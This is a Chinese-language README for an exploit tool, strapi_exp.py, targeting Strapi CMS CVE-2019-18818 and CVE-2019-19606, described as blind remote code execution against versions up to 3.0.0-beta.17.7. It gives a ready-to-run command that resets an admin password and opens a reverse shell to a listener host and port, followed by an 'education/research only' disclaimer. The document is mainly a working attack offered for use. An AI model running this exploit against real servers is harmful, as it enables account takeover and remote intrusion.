Strapi CMS CVE-2019-18818 和 19606

针对 Strapi CMS 3.0.0-beta.17.7 及更早版本的盲注远程代码执行，获取反弹 shell

开始上手

执行程序

• 使用 python3

python3 strapi_exp.py -t http://strapi.hack/ -e [email protected] -p new_password -lhost 127.0.0.1 -lport 9001

帮助

帮助提示

python3 strapi_exp.py -h

免责声明

本仓库中提供的所有代码仅用于教育/研究目的。任何与本仓库内容相关的行为或活动均由您个人承担责任。滥用本仓库代码可能导致针对相关人员的刑事指控。对于任何因滥用本仓库代码而违反法律并招致刑事指控的个人，作者概不负责。